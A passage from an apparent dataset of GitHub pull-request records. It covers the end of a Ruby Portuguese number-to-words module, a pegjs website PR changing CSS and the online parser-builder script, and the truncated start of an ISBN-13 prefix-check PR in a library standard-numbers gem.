GExtenso::GENERO_MASC] O g\u00eanero gramatical (GExtenso::GENERO_MASC ou GExtenso::GENERO_FEM)\n    # do extenso a ser gerado. Isso possibilita distinguir, por exemplo, entre 'duzentos e dois homens' e 'duzentas e duas mulheres'.\n    #\n    # VALOR DE RETORNO:\n    # (String) O n\u00famero por extenso\n    \n    # ----- VALIDA\u00c7\u00c3O DOS PAR\u00c2METROS DE ENTRADA ---- \n    \n    if !is_int(valor)\n      raise \"[Exce\u00e7\u00e3o em GExtenso.numero] Par\u00e2metro 'valor' n\u00e3o \u00e9 num\u00e9rico (recebido: '#{valor}')\"\n    elsif valor <= 0\n      raise \"[Exce\u00e7\u00e3o em GExtenso.numero] Par\u00e2metro 'valor' igual a ou menor que zero (recebido: '#{valor}')\"\n    elsif valor > VALOR_MAXIMO\n      raise '[Exce\u00e7\u00e3o em GExtenso::numero] Par\u00e2metro ''valor'' deve ser um inteiro entre 1 e ' + VALOR_MAXIMO.to_s + \" (recebido: '#{valor}')\"\n    elsif genero != GENERO_MASC && genero != GENERO_FEM\n      raise \"Exce\u00e7\u00e3o em GExtenso: valor incorreto para o par\u00e2metro 'genero' (recebido: '#{genero}')\"\n  # ------------------------------------------------\n    elsif valor >= 1 && valor <= 9\n      return UNIDADES_ORDINAL[genero][valor]\n    elsif valor >= 10 && valor <= 99\n      dezena = valor - (valor % 10)\n      resto = valor - dezena\n      ret = DEZENAS_ORDINAL[genero][dezena]+\" \"\n      if resto > 0 then ret+= Extenso.ordinal(resto,genero); end\n      return ret\n    elsif valor >= 100 && valor <= 999\n      centena = valor - (valor % 100)\n      resto = valor - centena \n      ret = CENTENAS_ORDINAL[genero][centena]+\" \"\n      if resto > 0 then ret += Extenso.ordinal(resto, genero); end\n      return ret\n    elsif valor == 1000\n      return MILHAR_ORDINAL[genero][valor]+\" \"\n    end\n  end\n\n  def Extenso.moeda_real(numero)\n    unit = \"R$\"\n    separator = \",\"\n    delimiter = \".\"\n    mystring = sprintf(\"%s %.2f\",unit, numero)\n    mystring = mystring.gsub(\".\",separator)\n    pos = mystring.match(separator).begin(0) - 3\n    while !(/[0-9]/.match(mystring[pos-1])== nil) do\n      mystring.insert(pos,delimiter)\n      pos-=3\n    end \n    return mystring\n  end\n\n  def Extenso.to_cash(numero)\n    unit = \"R$\"\n    separator = \",\"\n    delimiter = \".\"\n    mystring = sprintf(\"%s %.2f\",unit, numero)\n    mystring = mystring.gsub(\".\",separator)\n    pos = mystring.match(separator).begin(0) - 3\n    while !(/[0-9]/.match(mystring[pos-1])== nil) do\n      mystring.insert(pos,delimiter)\n      pos-=3\n    end \n    return mystring << \" (\" << Extenso.moeda((numero*100).to_i) << \")\"\n  end \n  \nend "}}
{"repo": "pegjs/website", "pr_number": 10, "title": "Small website improvements", "state": "closed", "merged_at": null, "additions": 4, "deletions": 34, "files_changed": ["public/css/content.css", "public/js/online.js"], "files_before": {"public/css/content.css": "#content h1 { margin: 0 0 .75em 0; font-size: 200%; }\n#content h2 {\n  margin: 1.5em 0 .75em 0; border-bottom: 2pt dotted silver;\n  font-size: 150%;\n}\n#content h3 { margin: 1.5em 0 .5em 0; font-size: 125%; }\n#content li { margin: .5em 0; }\n#content dt { font-weight: bold; }\n#content dd { margin-top: 1em; margin-bottom: 1em; }\n#content aside.info { margin: 1em 0 1em 2em; color: gray; }\n#content pre {\n  overflow: auto;\n  padding: .5em 1em; border-left: 5px solid silver;\n  background-color: #f0f0f0;\n}\n#content table { border-spacing: 0; }\n#content a, #content a:visited { color: #3d586c; }\n\n#content .center { text-align: center; }\n\n/* Home */\n\n#content #sidebar {\n  float: right; width: 17em;\n  font-size: 80%; text-align: center;\n}\n#content #sidebar a {\n  font-weight: bold; text-decoration: none;\n  color: #006000;\n}\n#content #sidebar a:hover { text-decoration: underline; }\n#content #sidebar a.try {\n  display: block;\n  padding: .75em; border-radius: .6em; -moz-border-radius: .6em;\n  font-size: 140%;\n  color: #e0ffe0; background-color: #499149;\n}\n#content #sidebar a.try:hover {\n  text-decoration: none; background-color: #006000;\n}\n#content #sidebar .npm {\n  padding: .75em; border: 1px solid #499149; border-radius: .7em; -moz-border-radius: .7em;\n  font-family: \"Lucida Console\", fixed, monospace; font-size: 120%;\n  color: #2c572c; background-color: #e0ffe0;\n}\n#content #sidebar .label { margin-left: 2.6em; text-align: left; color: #606060; }\n#content #sidebar #download {\n  list-style: square;\n  padding-left: 2em;\n  color: gray;\n  text-align: left;\n  font-size: 120%;\n}\n#content #sidebar a.twitter { display:block; margin-top: 5em; }\n#content #sidebar .separator { color: gray; margin: 1.5em 0 1em 0; }\n\n#content #left-column { margin-right: 17em; }\n\n/* Online Version */\n\n#content .message {\n  border-radius: .5em; -moz-border-radius: .5em; padding: .5em 1em;\n}\n#content .message.info { background-color: #c0ffc0; }\n#content .message.info a.download { display: block; float: right; }\n#content .message.info .size-and-time { visibility: hidden; float: right; font-size: 70%; margin: .3em 0; color: #80c080; }\n#content .message.info:hover .size-and-time { visibility: visible; }\n#content .message.error { background-color: orange; }\n#content .message.progress {\n  padding-left: 40px;\n  /* Spinner image generated by http://www.loadinfo.net/. */\n  background: #ffff80 url(\"../img/spinner-16x16-progress.gif\") 14px center no-repeat;\n}\n#content .message.disabled { color: gray; background-color: #f0f0f0; }\n\n#content table.form { width: 100%; }\n#content table.form td, table.form th { padding: .5em 1em; }\n#content table.form td:first-child, table.form th:first-child { padding-left:  0; }\n#content table.form td:last-child,  table.form th:last-child  { padding-right: 0; }\n#content table.form th { text-align: left; font-weight: normal; }\n\n#content h2.suggestion { border: none; }\n#content h2.suggestion.top { margin-top: 0; }\n#content h2.suggestion .step-number {\n  display: block; float: left;\n  width: 1.5em;\n  border-radius: .4em; -moz-border-radius: .4em;\n  text-align: center;\n  color: white; background-color: black;\n}\n#content h2.suggestion .step-title { margin-left: 2.5em; }\n\n#content textarea.code { width: 100%; height: 20em; font-family: \"Lucida Console\", fixed, monospace; }\n\n#content .textarea-wrapper { padding-right: 6px; }\n\n#content .tooltip { position: absolute; display: none; }\n#content .tooltip .content {\n  padding: .5em 1em;\n  box-shadow: .25em .25em .5em rgba(0, 0, 0, 0.25); -webkit-box-shadow: .25em .25em .5em rgba(0, 0, 0, 0.25); -moz-box-shadow: .25em .25em .5em rgba(0, 0, 0, 0.25);\n  border-radius: .5em; -moz-border-radius: .5em;\n  padding: .5em 1em;\n  color: white; background-color: black;\n  font-size: 80%;\n}\n#content .tooltip .arrow {\n  height: 6px;\n  background: url(\"../img/tooltip-arrow.png\") top center no-repeat;\n}\n\n#content #columns { width: 100%; height: 100%; border-spacing: 1em; }\n#content #columns td { width: 50%; }\n\n#content table.column { width: 100%; height: 100%; }\n#content table.column td { vertical-align: top; }\n/* Browsers will enlarge the |.content-height| cells to fit the contents. */\n#content table.column td.content-height { height: 1px; }\n\n#content #output-header {\n  margin: 1.25em 0 0 0; border: none; padding: .25em 1.2em .25em 1.2em;\n  font-size: 80%;\n  color: white; background-color: silver;\n}\n#content #output {\n  overflow: auto;\n  max-height: 20em;\n  margin: 0; padding: .5em 1em; border: 2px solid silver; border-top: none;\n  background-color: #f0f0f0;\n}\n#content #output.disabled { color: gray; }\n\n#content #settings { padding: .5em 0; }\n#content #settings label { padding-right: 1em; }\n#content #settings label[for=option-optimize] { padding-left: 2em; }\n#content #parser-var { width: 15em; }\n#content #options { padding-top: 1em; }\n#content #parser-download {\n  float: right;\n  width: 9em;\n  margin-top: 2em;\n  padding: .5em; border-radius: .4em; -moz-border-radius: .4em;\n  text-align: center; text-decoration: none;\n  color: #e0ffe0; background-color: #499149;\n}\n#content #parser-download:hover { background-color: #006000; }\n#content #parser-download.disabled { color: #e0e0e0; background-color: gray; }\n", "public/js/online.js": "$(document).ready(function() {\n  var KB      = 1024;\n  var MS_IN_S = 1000;\n\n  var parser;\n\n  var buildAndParseTimer = null;\n  var parseTimer         = null;\n\n  var oldGrammar        = null;\n  var oldParserVar      = null;\n  var oldOptionCache    = null;\n  var oldOptionOptimize = null;\n  var oldInput          = null;\n\n  function buildSizeAndTimeInfoHtml(title, size, time) {\n    return $(\"<span/>\", {\n      \"class\": \"size-and-time\",\n      title:   title,\n      html:    (size / KB).toPrecision(2) + \"&nbsp;kB, \"\n                 + time + \"&nbsp;ms, \"\n                 + ((size / KB) / (time / MS_IN_S)).toPrecision(2) + \"&nbsp;kB/s\"\n    });\n  }\n\n  function buildErrorMessage(e) {\n    return e.line !== undefined && e.column !== undefined\n      ? \"Line \" + e.line + \", column \" + e.column + \": \" + e.message\n      : e.message;\n  }\n\n  function build() {\n    oldGrammar        = $(\"#grammar\").val();\n    oldParserVar      = $(\"#parser-var\").val();\n    oldOptionCache    = $(\"#option-cache\").is(\":checked\");\n    oldOptionOptimize = $(\"#option-optimize\").val();\n\n    $('#build-message').attr(\"class\", \"message progress\").text(\"Building the parser...\");\n    $(\"#input\").attr(\"disabled\", \"disabled\");\n    $(\"#parse-message\").attr(\"class\", \"message disabled\").text(\"Parser not available.\");\n    $(\"#output\").addClass(\"disabled\").text(\"Output not available.\");\n    $(\"#parser-var\").attr(\"disabled\", \"disabled\");\n    $(\"#option-cache\").attr(\"disabled\", \"disabled\");\n    $(\"#option-optimize\").attr(\"disabled\", \"disabled\");\n    $(\"#parser-download\").addClass(\"disabled\");\n\n    try {\n      var timeBefore = (new Date).getTime();\n      var parserSource = PEG.buildParser($(\"#grammar\").val(), {\n        cache:    $(\"#option-cache\").is(\":checked\"),\n        optimize: $(\"#option-optimize\").val(),\n        output:   \"source\"\n      });\n      var timeAfter = (new Date).getTime();\n\n      parser = eval(parserSource);\n\n      $(\"#build-message\")\n        .attr(\"class\", \"message info\")\n        .html(\"Parser built successfully.\")\n        .append(buildSizeAndTimeInfoHtml(\n          \"Parser build time and speed\",\n          $(\"#grammar\").val().length,\n          timeAfter - timeBefore\n        ));\n      var parserUrl = \"data:text/plain;charset=utf-8;base64,\"\n        + Base64.encode($(\"#parser-var\").val() + \" = \" + parserSource + \";\\n\");\n      $(\"#input\").removeAttr(\"disabled\");\n      $(\"#parser-var\").removeAttr(\"disabled\");\n      $(\"#option-cache\").removeAttr(\"disabled\");\n      $(\"#option-optimize\").removeAttr(\"disabled\");\n      $(\"#parser-download\").removeClass(\"disabled\").attr(\"href\", parserUrl);\n\n      var result = true;\n    } catch (e) {\n      $(\"#build-message\").attr(\"class\", \"message error\").text(buildErrorMessage(e));\n      var parserUrl = \"data:text/plain;charset=utf-8;base64,\"\n        + Base64.encode(\"Parser not available.\");\n      $(\"#parser-download\").attr(\"href\", parserUrl);\n\n      var result = false;\n    }\n\n    doLayout();\n    return result;\n  }\n\n  function parse() {\n    oldInput = $(\"#input\").val();\n\n    $(\"#input\").removeAttr(\"disabled\");\n    $(\"#parse-message\").attr(\"class\", \"message progress\").text(\"Parsing the input...\");\n    $(\"#output\").addClass(\"disabled\").text(\"Output not available.\");\n\n    try {\n      var timeBefore = (new Date).getTime();\n      var output = parser.parse($(\"#input\").val());\n      var timeAfter = (new Date).getTime();\n\n      $(\"#parse-message\")\n        .attr(\"class\", \"message info\")\n        .text(\"Input parsed successfully.\")\n        .append(buildSizeAndTimeInfoHtml(\n          \"Parsing time and speed\",\n          $(\"#input\").val().length,\n          timeAfter - timeBefore\n        ));\n      $(\"#output\").removeClass(\"disabled\").text(jsDump.parse(output));\n\n      var result = true;\n    } catch (e) {\n      $(\"#parse-message\").attr(\"class\", \"message error\").text(buildErrorMessage(e));\n\n      var result = false;\n    }\n\n    doLayout();\n    return result;\n  }\n\n  function buildAndParse() {\n    build() && parse();\n  }\n\n  function scheduleBuildAndParse() {\n    var nothingChanged = $(\"#grammar\").val() === oldGrammar\n      && $(\"#parser-var\").val() === oldParserVar\n      && $(\"#option-cache\").is(\":checked\") === oldOptionCache\n      && $(\"#option-optimize\").val() === oldOptionOptimize;\n    if (nothingChanged) { return; }\n\n    if (buildAndParseTimer !== null) {\n      clearTimeout(buildAndParseTimer);\n      buildAndParseTimer = null;\n    }\n    if (parseTimer !== null) {\n      clearTimeout(parseTimer);\n      parseTimer = null;\n    }\n\n    buildAndParseTimer = setTimeout(function() {\n      buildAndParse();\n      buildAndParseTimer = null;\n    }, 500);\n  }\n\n  function scheduleParse() {\n    if ($(\"#input\").val() === oldInput) { return; }\n    if (buildAndParseTimer !== null) { return; }\n\n    if (parseTimer !== null) {\n      clearTimeout(parseTimer);\n      parseTimer = null;\n    }\n\n    parseTimer = setTimeout(function() {\n      parse();\n      parseTimer = null;\n    }, 500);\n  }\n\n  function doLayout() {\n    /*\n     * This forces layout of the page so that the |#columns| table gets a chance\n     * make itself smaller when the browser window shrinks.\n     */\n    if ($.browser.msie || $.browser.opera) {\n      $(\"#left-column\").height(\"0px\");\n      $(\"#right-column\").height(\"0px\");\n    }\n    $(\"#grammar\").height(\"0px\");\n    $(\"#input\").height(\"0px\");\n\n    if ($.browser.msie || $.browser.opera) {\n      $(\"#left-column\").height(($(\"#left-column\").parent().innerHeight() - 2) + \"px\");\n      $(\"#right-column\").height(($(\"#right-column\").parent().innerHeight() - 2) + \"px\");\n    }\n\n    $(\"#grammar\").height(($(\"#grammar\").parent().parent().innerHeight() - 14) + \"px\");\n    $(\"#input\").height(($(\"#input\").parent().parent().innerHeight() - 14) + \"px\");\n  }\n\n  $(\"#grammar, #parser-var, #option-cache, #option-optimize\")\n    .change(scheduleBuildAndParse)\n    .mousedown(scheduleBuildAndParse)\n    .mouseup(scheduleBuildAndParse)\n    .click(scheduleBuildAndParse)\n    .keydown(scheduleBuildAndParse)\n    .keyup(scheduleBuildAndParse)\n    .keypress(scheduleBuildAndParse);\n\n  $(\"#input\")\n    .change(scheduleParse)\n    .mousedown(scheduleParse)\n    .mouseup(scheduleParse)\n    .click(scheduleParse)\n    .keydown(scheduleParse)\n    .keyup(scheduleParse)\n    .keypress(scheduleParse);\n\n  doLayout();\n  $(window).resize(doLayout);\n\n  $(\"#loader\").hide();\n  $(\"#content\").show();\n\n  $(\"#grammar, #parser-var, #option-cache, #option-optimize\").removeAttr(\"disabled\");\n\n  $(\"#grammar, #input\").focus(function() {\n    var textarea = $(this);\n\n    setTimeout(function() {\n      textarea.unbind(\"focus\");\n\n      var tooltip = textarea.next();\n      var position = textarea.position();\n\n      tooltip.css({\n        top:  (position.top - tooltip.outerHeight() - 5) + \"px\",\n        left: (position.left + textarea.outerWidth() - tooltip.outerWidth()) + \"px\"\n      }).fadeTo(400, 0.8).delay(3000).fadeOut();\n    }, 1000);\n  });\n\n  $(\"#grammar\").focus();\n\n  buildAndParse();\n});\n"}, "files_after": {"public/css/content.css": "#content h1 { margin: 0 0 .75em 0; font-size: 200%; }\n#content h2 {\n  margin: 1.5em 0 .75em 0; border-bottom: 2pt dotted silver;\n  font-size: 150%;\n}\n#content h3 { margin: 1.5em 0 .5em 0; font-size: 125%; }\n#content li { margin: .5em 0; }\n#content dt { font-weight: bold; }\n#content dd { margin-top: 1em; margin-bottom: 1em; }\n#content aside.info { margin: 1em 0 1em 2em; color: gray; }\n#content pre {\n  overflow: auto;\n  padding: .5em 1em; border-left: 5px solid silver;\n  background-color: #f0f0f0;\n}\n#content table { border-spacing: 0; }\n#content a, #content a:visited { color: #3d586c; }\n\n#content .center { text-align: center; }\n\n/* Home */\n\n#content #sidebar {\n  float: right; width: 17em;\n  font-size: 80%; text-align: center;\n}\n#content #sidebar a {\n  font-weight: bold; text-decoration: none;\n  color: #006000;\n}\n#content #sidebar a:hover { text-decoration: underline; }\n#content #sidebar a.try {\n  display: block;\n  padding: .75em; border-radius: .6em; -moz-border-radius: .6em;\n  font-size: 140%;\n  color: #e0ffe0; background-color: #499149;\n}\n#content #sidebar a.try:hover {\n  text-decoration: none; background-color: #006000;\n}\n#content #sidebar .npm {\n  padding: .75em; border: 1px solid #499149; border-radius: .7em; -moz-border-radius: .7em;\n  font-family: \"Lucida Console\", fixed, monospace; font-size: 120%;\n  color: #2c572c; background-color: #e0ffe0;\n}\n#content #sidebar .label { margin-left: 2.6em; text-align: left; color: #606060; }\n#content #sidebar #download {\n  list-style: square;\n  padding-left: 2em;\n  color: gray;\n  text-align: left;\n  font-size: 120%;\n}\n#content #sidebar a.twitter { display:block; margin-top: 5em; }\n#content #sidebar .separator { color: gray; margin: 1.5em 0 1em 0; }\n\n#content #left-column { margin-right: 17em; }\n\n/* Online Version */\n\n#content .message {\n  border-radius: .5em; -moz-border-radius: .5em; padding: .5em 1em;\n}\n#content .message.info { background-color: #c0ffc0; }\n#content .message.info a.download { display: block; float: right; }\n#content .message.info .size-and-time { visibility: hidden; float: right; font-size: 70%; margin: .3em 0; color: #80c080; }\n#content .message.info:hover .size-and-time { visibility: visible; }\n#content .message.error { background-color: orange; }\n#content .message.progress {\n  padding-left: 40px;\n  /* Spinner image generated by http://www.loadinfo.net/. */\n  background: #ffff80 url(\"../img/spinner-16x16-progress.gif\") 14px center no-repeat;\n}\n#content .message.disabled { color: gray; background-color: #f0f0f0; }\n\n#content table.form { width: 100%; }\n#content table.form td, table.form th { padding: .5em 1em; }\n#content table.form td:first-child, table.form th:first-child { padding-left:  0; }\n#content table.form td:last-child,  table.form th:last-child  { padding-right: 0; }\n#content table.form th { text-align: left; font-weight: normal; }\n\n#content h2.suggestion { border: none; }\n#content h2.suggestion.top { margin-top: 0; }\n#content h2.suggestion .step-number {\n  display: block; float: left;\n  width: 1.5em;\n  border-radius: .4em; -moz-border-radius: .4em;\n  text-align: center;\n  color: white; background-color: black;\n}\n#content h2.suggestion .step-title { margin-left: 2.5em; }\n\n#content textarea.code { width: 100%; height: 20em; font-family: \"Lucida Console\", fixed, monospace; }\n\n#content .textarea-wrapper { padding-right: 6px; }\n\n#content #columns { width: 100%; height: 100%; border-spacing: 1em; }\n#content #columns td { width: 50%; }\n\n#content table.column { width: 100%; height: 100%; }\n#content table.column td { vertical-align: top; }\n/* Browsers will enlarge the |.content-height| cells to fit the contents. */\n#content table.column td.content-height { height: 1px; }\n\n#content #output-header {\n  margin: 1.25em 0 0 0; border: none; padding: .25em 1.2em .25em 1.2em;\n  font-size: 80%;\n  color: white; background-color: silver;\n}\n#content #output {\n  overflow: auto;\n  max-height: 20em;\n  margin: 0; padding: .5em 1em; border: 2px solid silver; border-top: none;\n  background-color: #f0f0f0;\n}\n#content #output.disabled { color: gray; }\n\n#content #settings { padding: .5em 0; }\n#content #settings label { padding-right: 1em; }\n#content #parser-var { width: 15em; }\n#content #options { padding-top: 1em; }\n#content #parser-download {\n  float: right;\n  width: 9em;\n  margin-top: 2em;\n  padding: .5em; border-radius: .4em; -moz-border-radius: .4em;\n  text-align: center; text-decoration: none;\n  color: #e0ffe0; background-color: #499149;\n}\n#content #parser-download:hover { background-color: #006000; }\n#content #parser-download.disabled { color: #e0e0e0; background-color: gray; }\n", "public/js/online.js": "$(document).ready(function() {\n  var KB      = 1024;\n  var MS_IN_S = 1000;\n\n  var parser;\n\n  var buildAndParseTimer = null;\n  var parseTimer         = null;\n\n  var oldGrammar                  = null;\n  var oldParserVar                = null;\n  var oldOptionCache              = null;\n  var oldOptionTrackLineAndColumn = null;\n  var oldInput                    = null;\n\n  function buildSizeAndTimeInfoHtml(title, size, time) {\n    return $(\"<span/>\", {\n      \"class\": \"size-and-time\",\n      title:   title,\n      html:    (size / KB).toPrecision(2) + \"&nbsp;kB, \"\n                 + time + \"&nbsp;ms, \"\n                 + ((size / KB) / (time / MS_IN_S)).toPrecision(2) + \"&nbsp;kB/s\"\n    });\n  }\n\n  function buildErrorMessage(e) {\n    return e.line !== undefined && e.column !== undefined\n      ? \"Line \" + e.line + \", column \" + e.column + \": \" + e.message\n      : e.message;\n  }\n\n  function build() {\n    oldGrammar                  = $(\"#grammar\").val();\n    oldParserVar                = $(\"#parser-var\").val();\n    oldOptionCache              = $(\"#option-cache\").is(\":checked\"),\n    oldOptionTrackLineAndColumn = $(\"#option-track-line-and-column\").is(\":checked\")\n\n    $('#build-message').attr(\"class\", \"message progress\").text(\"Building the parser...\");\n    $(\"#input\").attr(\"disabled\", \"disabled\");\n    $(\"#parse-message\").attr(\"class\", \"message disabled\").text(\"Parser not available.\");\n    $(\"#output\").addClass(\"disabled\").text(\"Output not available.\");\n    $(\"#parser-var\").attr(\"disabled\", \"disabled\");\n    $(\"#option-cache\").attr(\"disabled\", \"disabled\");\n    $(\"#option-track-line-and-column\").attr(\"disabled\", \"disabled\");\n    $(\"#parser-download\").addClass(\"disabled\");\n\n    try {\n      var timeBefore = (new Date).getTime();\n      parser = PEG.buildParser($(\"#grammar\").val(), {\n        cache:              $(\"#option-cache\").is(\":checked\"),\n        trackLineAndColumn: $(\"#option-track-line-and-column\").is(\":checked\")\n      });\n      var timeAfter = (new Date).getTime();\n\n      $(\"#build-message\")\n        .attr(\"class\", \"message info\")\n        .html(\"Parser built successfully.\")\n        .append(buildSizeAndTimeInfoHtml(\n          \"Parser build time and speed\",\n          $(\"#grammar\").val().length,\n          timeAfter - timeBefore\n        ));\n      var parserUrl = \"data:text/plain;charset=utf-8;base64,\"\n        + Base64.encode($(\"#parser-var\").val() + \" = \" + parser.toSource() + \";\\n\");\n      $(\"#input\").removeAttr(\"disabled\");\n      $(\"#parser-var\").removeAttr(\"disabled\");\n      $(\"#option-cache\").removeAttr(\"disabled\");\n      $(\"#option-track-line-and-column\").removeAttr(\"disabled\");\n      $(\"#parser-download\").removeClass(\"disabled\").attr(\"href\", parserUrl);\n\n      var result = true;\n    } catch (e) {\n      $(\"#build-message\").attr(\"class\", \"message error\").text(buildErrorMessage(e));\n      var parserUrl = \"data:text/plain;charset=utf-8;base64,\"\n        + Base64.encode(\"Parser not available.\");\n      $(\"#parser-download\").attr(\"href\", parserUrl);\n\n      var result = false;\n    }\n\n    doLayout();\n    return result;\n  }\n\n  function parse() {\n    oldInput = $(\"#input\").val();\n\n    $(\"#input\").removeAttr(\"disabled\");\n    $(\"#parse-message\").attr(\"class\", \"message progress\").text(\"Parsing the input...\");\n    $(\"#output\").addClass(\"disabled\").text(\"Output not available.\");\n\n    try {\n      var timeBefore = (new Date).getTime();\n      var output = parser.parse($(\"#input\").val());\n      var timeAfter = (new Date).getTime();\n\n      $(\"#parse-message\")\n        .attr(\"class\", \"message info\")\n        .text(\"Input parsed successfully.\")\n        .append(buildSizeAndTimeInfoHtml(\n          \"Parsing time and speed\",\n          $(\"#input\").val().length,\n          timeAfter - timeBefore\n        ));\n      $(\"#output\").removeClass(\"disabled\").text(jsDump.parse(output));\n\n      var result = true;\n    } catch (e) {\n      $(\"#parse-message\").attr(\"class\", \"message error\").text(buildErrorMessage(e));\n\n      var result = false;\n    }\n\n    doLayout();\n    return result;\n  }\n\n  function buildAndParse() {\n    build() && parse();\n  }\n\n  function scheduleBuildAndParse() {\n    var nothingChanged = $(\"#grammar\").val() === oldGrammar\n      && $(\"#parser-var\").val() === oldParserVar\n      && $(\"#option-cache\").is(\":checked\") === oldOptionCache\n      && $(\"#option-track-line-and-column\").is(\":checked\") === oldOptionTrackLineAndColumn;\n    if (nothingChanged) { return; }\n\n    if (buildAndParseTimer !== null) {\n      clearTimeout(buildAndParseTimer);\n      buildAndParseTimer = null;\n    }\n    if (parseTimer !== null) {\n      clearTimeout(parseTimer);\n      parseTimer = null;\n    }\n\n    buildAndParseTimer = setTimeout(function() {\n      buildAndParse();\n      buildAndParseTimer = null;\n    }, 500);\n  }\n\n  function scheduleParse() {\n    if ($(\"#input\").val() === oldInput) { return; }\n    if (buildAndParseTimer !== null) { return; }\n\n    if (parseTimer !== null) {\n      clearTimeout(parseTimer);\n      parseTimer = null;\n    }\n\n    parseTimer = setTimeout(function() {\n      parse();\n      parseTimer = null;\n    }, 500);\n  }\n\n  function doLayout() {\n    /*\n     * This forces layout of the page so that the |#columns| table gets a chance\n     * make itself smaller when the browser window shrinks.\n     */\n    if ($.browser.msie || $.browser.opera) {\n      $(\"#left-column\").height(\"0px\");\n      $(\"#right-column\").height(\"0px\");\n    }\n    $(\"#grammar\").height(\"0px\");\n    $(\"#input\").height(\"0px\");\n\n    if ($.browser.msie || $.browser.opera) {\n      $(\"#left-column\").height(($(\"#left-column\").parent().innerHeight() - 2) + \"px\");\n      $(\"#right-column\").height(($(\"#right-column\").parent().innerHeight() - 2) + \"px\");\n    }\n\n    $(\"#grammar\").height(($(\"#grammar\").parent().parent().innerHeight() - 14) + \"px\");\n    $(\"#input\").height(($(\"#input\").parent().parent().innerHeight() - 14) + \"px\");\n  }\n\n  $(\"#grammar, #parser-var, #option-cache, #option-track-line-and-column\")\n    .change(scheduleBuildAndParse)\n    .mousedown(scheduleBuildAndParse)\n    .mouseup(scheduleBuildAndParse)\n    .click(scheduleBuildAndParse)\n    .keydown(scheduleBuildAndParse)\n    .keyup(scheduleBuildAndParse)\n    .keypress(scheduleBuildAndParse);\n\n  $(\"#input\")\n    .change(scheduleParse)\n    .mousedown(scheduleParse)\n    .mouseup(scheduleParse)\n    .click(scheduleParse)\n    .keydown(scheduleParse)\n    .keyup(scheduleParse)\n    .keypress(scheduleParse);\n\n  doLayout();\n  $(window).resize(doLayout);\n\n  $(\"#loader\").hide();\n  $(\"#content\").show();\n\n  $(\"#grammar, #parser-var, #option-cache, #option-track-line-and-column\").removeAttr(\"disabled\");\n\n  $(\"#grammar\").focus();\n\n  buildAndParse();\n});\n"}}
{"repo": "billdueber/library_stdnums", "pr_number": 2, "title": "Add check for the prefix of an ISBN 13", "state": "closed", "merged_at": "2017-05-04T14:59:44Z", "additions": 14, "deletions": 2, "files_changed": ["lib/library_stdnums.rb", "spec/library_stdnums_spec.rb"], "files_before": {"lib/library_stdnums.rb": "# Static Module functions to work with library \"standard numbers\" ISSN, ISBN, and LCCN\nmodule StdNum\n\n  # Helper methods common to ISBN/ISSN\n  module Helpers\n\n    # The pattern we use to try and find an ISBN/ISSN. Ditch everthing before the first\n    # digit, then take all the digits/hyphens, optionally followed by an 'X'\n    # Since the shortest possible string is 7 digits followed by a checksum digit\n    # for an ISSN, we'll make sure they're at least that long. Still imperfect\n    # (would fine \"5------\", for example) but should work in most cases.\n    STDNUMPAT = /^.*?(\\d[\\d\\-]{6,}[xX]?)/\n\n    # Extract the most likely looking number from the string. This will be the first\n    # string of digits-and-hyphens-and-maybe-a-trailing-X, with the hypens removed\n    # @param [String] str The string from which to extract an ISBN/ISSN\n    # @return [String] The extracted identifier\n    def extractNumber str\n      match = STDNUMPAT.match str\n      return nil unless match\n      return (match[1].gsub(/\\-/, '')).upcase\n    end\n\n    # Same as STDNUMPAT but allowing for all numbers in the provided string\n    STDNUMPAT_MULTIPLE = /.*?(\\d[\\d\\-]{6,}[xX]?)/\n\n    # Extract the most likely looking numbers from the string. This will be each\n    # string with digits-and-hyphens-and-maybe-a-trailing-X, with the hypens removed\n    # @param [String] str The string from which to extract the ISBN/ISSNs\n    # @return [Array] An array of extracted identifiers\n    def extract_multiple_numbers(str)\n      return [] if str == '' || str.nil?\n      str.scan(STDNUMPAT_MULTIPLE).flatten.map{ |i| i.gsub(/\\-/, '').upcase }\n    end\n\n    # Given any string, extract what looks like the most likely ISBN/ISSN\n    # of the given size(s), or nil if nothing matches at the correct size.\n    # @param [String] rawnum The raw string containing (hopefully) an ISSN/ISBN\n    # @param [Integer, Array<Integer>, nil] valid_sizes An integer or array of integers of valid sizes\n    # for this type (e.g., 10 or 13 for ISBN, 8 for ISSN)\n    # @return [String,nil] the reduced and verified number, or nil if there's no match at the right size\n    def reduce_to_basics rawnum, valid_sizes = nil\n      return nil if rawnum.nil?\n\n      num = extractNumber rawnum\n\n      # Does it even look like a number?\n      return nil unless num\n\n      # Return what we've got if we don't care about the size\n      return num unless valid_sizes\n\n      # Check for valid size(s)\n      [valid_sizes].flatten.each do |s|\n        return num if num.size == s\n      end\n\n      # Didn't check out size-wise. Return nil\n      return nil\n    end\n  end\n\n  # Validate, convert, and normalize ISBNs (10-digit or 13-digit)\n  module ISBN\n    extend Helpers\n\n    # Does it even look like an ISBN?\n    def self.at_least_trying? isbn\n      reduce_to_basics(isbn, [10,13]) ? true : false\n    end\n\n\n    # Compute check digits for 10 or 13-digit ISBNs. See algorithm at\n    # http://en.wikipedia.org/wiki/International_Standard_Book_Number\n    # @param [String] isbn The ISBN (we'll try to clean it up if possible)\n    # @param [Boolean] preprocessed Set to true if the ISBN has already been through reduce_to_basics\n    # @return [String,nil] the one-character checkdigit, or nil if it's not an ISBN string\n    def self.checkdigit isbn, preprocessed = false\n      isbn = reduce_to_basics isbn, [10,13] unless preprocessed\n      return nil unless isbn\n\n      checkdigit = 0\n      if isbn.size == 10\n        digits = isbn[0..8].split(//).map {|i| i.to_i}\n        (1..9).each do |i|\n          checkdigit += digits[i-1] * i\n        end\n        checkdigit = checkdigit % 11\n        return 'X' if checkdigit == 10\n        return checkdigit.to_s\n      else # size == 13\n        checkdigit = 0\n        digits = isbn[0..11].split(//).map {|i| i.to_i}\n        6.times do\n          checkdigit += digits.shift\n          checkdigit += digits.shift * 3\n        end\n        check = 10 - (checkdigit % 10)\n        check = 0 if check == 10\n        return check.to_s\n      end\n    end\n\n    # Check to see if the checkdigit is correct\n    # @param [String] isbn The ISBN (we'll try to clean it up if possible)\n    # @param [Boolean] preprocessed Set to true if the ISBN has already been through reduce_to_basics\n    # @return [Boolean] Whether or not the checkdigit is correct. Sneakily, return 'nil' for\n    #  values that don't even look like ISBNs, and 'false' for those that look possible but\n    #  don't normalize / have bad checkdigits\n    def self.valid? isbn, preprocessed = false\n      return nil if isbn.nil?\n      isbn = reduce_to_basics(isbn, [10,13]) unless preprocessed\n      return nil unless isbn\n      return false unless isbn[-1..-1] == self.checkdigit(isbn, true)\n      return true\n    end\n\n\n    # For an ISBN, normalizing it is the same as converting to ISBN 